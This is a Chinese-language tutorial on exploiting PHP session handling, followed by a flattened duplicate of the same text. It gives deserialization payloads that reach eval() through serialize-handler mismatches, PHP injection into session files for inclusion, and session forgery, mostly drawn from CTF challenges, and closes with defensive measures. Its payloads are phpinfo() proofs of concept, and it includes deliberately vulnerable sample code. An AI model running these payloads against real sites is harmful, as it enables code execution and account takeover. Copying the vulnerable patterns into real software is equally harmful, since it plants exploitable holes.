PHP session 常见利用点
字数 2265 2025-08-18 17:33:11

PHP Session 安全利用详解

0x1 PHP Session 简介

0x1.1 基本概念

Session(会话控制)是用于存储特定用户会话所需的属性及配置信息的机制。在PHP中:

  • Session变量保存的信息是单一用户的,可供应用程序中的所有页面使用
  • 为每个访问者创建唯一ID(UID),基于此UID存储变量
  • UID存储在cookie中或通过URL传递

0x1.2 会话流程

  1. 会话开始时,PHP尝试从请求中查找会话ID(通常通过会话cookie)
  2. 如果请求中不包含会话ID信息,PHP会创建新会话
  3. 会话开始后,PHP将会话数据设置到$_SESSION变量中
  4. PHP停止时,自动读取$_SESSION内容进行序列化,发送给会话保存管理器保存

0x1.3 常见配置

在php.ini中的关键配置项:

session.save_handler = files        # session存储方式
session.save_path = "/var/lib/php/session"  # session id存放路径
session.use_cookies = 1             # 使用cookies在客户端保存会话
session.use_only_cookies = 1        # 保护URL中传送session id的用户
session.name = PHPSESSID            # session名称
session.auto_start = 0              # 不启用请求自动初始化session
session.use_trans_sid = 0           # 禁用URL传递session id
session.cookie_lifetime = 0        # cookie存活时间(0为浏览器重启)
session.cookie_path = /             # cookie有效路径
session.cookie_domain =             # cookie有效域名
session.cookie_httponly =           # 增加httponly标记
session.serialize_handler = php     # PHP标准序列化
session.gc_maxlifetime = 1440       # 过期时间(默认24分钟)

0x1.4 存储引擎

PHP支持三种序列化引擎:

存储引擎 存储方式
php_binary 键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php 键名+竖线+经过serialize()函数序列处理的值
php_serialize (PHP>5.5.4) 经过serialize()函数序列化处理的数组

修改存储引擎示例:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something

0x2 PHP Session 利用

0x2.1 反序列化漏洞

当网站序列化存储session与反序列化读取session的方式不同时,可能导致反序列化漏洞。

0x2.1.1 有$_SESSION赋值的情况

示例代码

s1.php (使用php_serialize存储引擎)

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["username"]=$_GET["u"];
?>

s2.php (使用php存储引擎)

<?php
session_start();
class session {
    var $var; 
    function __destruct() {
         eval($this->var);
    }
}
?>

利用方法

  1. 向s1.php传入参数:s1.php?u=|O:7:"session":1:{s:3:"var";s:10:"phpinfo();";}
  2. php_serialize存储的内容为:a:1:{s:8:"username";s:47:"|O:7:"session":1:{s:3:"var";s:10:"phpinfo();";}";}
  3. 访问s2.php时,php引擎以|作为分隔符,将后半部分作为值进行反序列化,触发__destruct()方法执行代码

0x2.1.2 无$_SESSION赋值的情况

利用PHP的upload_process机制在$_SESSION中创建可控键值对。

示例(Jarvis OJ PHPINFO题目)

index.php

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO {
    public $mdzz;
    function __construct() { $this->mdzz = 'phpinfo();'; }
    function __destruct() { eval($this->mdzz); }
}
if(isset($_GET['phpinfo'])) { $m = new OowoO(); }
else { highlight_string(file_get_contents('index.php')); }
?>

利用步骤

  1. 创建表单文件form.html,包含PHP_SESSION_UPLOAD_PROGRESS变量
  2. 使用Burp Suite修改POST请求,在PHP_SESSION_UPLOAD_PROGRESS值后添加|和序列化字符串
  3. 触发反序列化执行代码

0x2.2 文件包含漏洞

利用条件

  • 存在文件包含漏洞
  • session文件路径已知
  • session文件内容可控

示例1

session.php

<?php
session_start();
$_SESSION["username"]=$_GET['s'];
?>

include.php

<?php
include $_GET['i'];
?>

利用方法

  1. 向session.php传入一句话:session.php?s=<?php phpinfo(); ?>
  2. 通过include.php包含session文件:include.php?i=/var/lib/php/sessions/sess_PHPSESSID

示例2(XCTF2018-Final_bestphp)

利用session_start()覆盖session.save_path

http://example.com/bestphp.php/?function=session_start&save_path=/var/www/html
POST: name=<?=phpinfo();?>

0x2.3 用户伪造

利用条件

  • 知道PHP session存储引擎
  • session文件内容可控

示例(2020虎符杯-babyupload)

  1. 下载session文件确定使用php_binary引擎
  2. 伪造session内容为:<0x08>username|s:5:"admin";
  3. 上传伪造的session文件
  4. 修改PHPSESSID为上传的文件名,获取flag

0x3 防御措施

  1. 统一使用相同的序列化处理器
  2. 避免用户可控数据直接存入session
  3. 设置session.cookie_httponly为On
  4. 设置合理的session.gc_maxlifetime
  5. 对session文件存储目录设置严格权限
  6. 避免使用已知的session存储路径

0x4 参考资源

  1. PHP官方Session文档:https://www.php.net/manual/zh/book.session.php
  2. Session安全相关文章:https://blog.spoock.com/2016/10/16/php-serialize-problem/
  3. 序列化安全问题:https://zhuanlan.zhihu.com/p/90879209
PHP Session 安全利用详解 0x1 PHP Session 简介 0x1.1 基本概念 Session(会话控制)是用于存储特定用户会话所需的属性及配置信息的机制。在PHP中: Session变量保存的信息是单一用户的,可供应用程序中的所有页面使用 为每个访问者创建唯一ID(UID),基于此UID存储变量 UID存储在cookie中或通过URL传递 0x1.2 会话流程 会话开始时,PHP尝试从请求中查找会话ID(通常通过会话cookie) 如果请求中不包含会话ID信息,PHP会创建新会话 会话开始后,PHP将会话数据设置到 $_SESSION 变量中 PHP停止时,自动读取 $_SESSION 内容进行序列化,发送给会话保存管理器保存 0x1.3 常见配置 在php.ini中的关键配置项: 0x1.4 存储引擎 PHP支持三种序列化引擎: | 存储引擎 | 存储方式 | |----------------|--------------------------------------------------------------------------| | php_ binary | 键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值 | | php | 键名+竖线+经过serialize()函数序列处理的值 | | php_ serialize | (PHP>5.5.4) 经过serialize()函数序列化处理的数组 | 修改存储引擎示例: 0x2 PHP Session 利用 0x2.1 反序列化漏洞 当网站序列化存储session与反序列化读取session的方式不同时,可能导致反序列化漏洞。 0x2.1.1 有 $_SESSION 赋值的情况 示例代码 : s1.php (使用php_ serialize存储引擎) s2.php (使用php存储引擎) 利用方法 : 向s1.php传入参数: s1.php?u=|O:7:"session":1:{s:3:"var";s:10:"phpinfo();";} php_ serialize存储的内容为: a:1:{s:8:"username";s:47:"|O:7:"session":1:{s:3:"var";s:10:"phpinfo();";}";} 访问s2.php时,php引擎以 | 作为分隔符,将后半部分作为值进行反序列化,触发 __destruct() 方法执行代码 0x2.1.2 无 $_SESSION 赋值的情况 利用PHP的upload_ process机制在 $_SESSION 中创建可控键值对。 示例(Jarvis OJ PHPINFO题目) : index.php 利用步骤 : 创建表单文件form.html,包含 PHP_SESSION_UPLOAD_PROGRESS 变量 使用Burp Suite修改POST请求,在 PHP_SESSION_UPLOAD_PROGRESS 值后添加 | 和序列化字符串 触发反序列化执行代码 0x2.2 文件包含漏洞 利用条件 : 存在文件包含漏洞 session文件路径已知 session文件内容可控 示例1 : session.php include.php 利用方法 : 向session.php传入一句话: session.php?s=<?php phpinfo(); ?> 通过include.php包含session文件: include.php?i=/var/lib/php/sessions/sess_PHPSESSID 示例2(XCTF2018-Final_ bestphp) : 利用 session_start() 覆盖 session.save_path : 0x2.3 用户伪造 利用条件 : 知道PHP session存储引擎 session文件内容可控 示例(2020虎符杯-babyupload) : 下载session文件确定使用 php_binary 引擎 伪造session内容为: <0x08>username|s:5:"admin"; 上传伪造的session文件 修改PHPSESSID为上传的文件名,获取flag 0x3 防御措施 统一使用相同的序列化处理器 避免用户可控数据直接存入session 设置 session.cookie_httponly 为On 设置合理的 session.gc_maxlifetime 对session文件存储目录设置严格权限 避免使用已知的session存储路径 0x4 参考资源 PHP官方Session文档:https://www.php.net/manual/zh/book.session.php Session安全相关文章:https://blog.spoock.com/2016/10/16/php-serialize-problem/ 序列化安全问题:https://zhuanlan.zhihu.com/p/90879209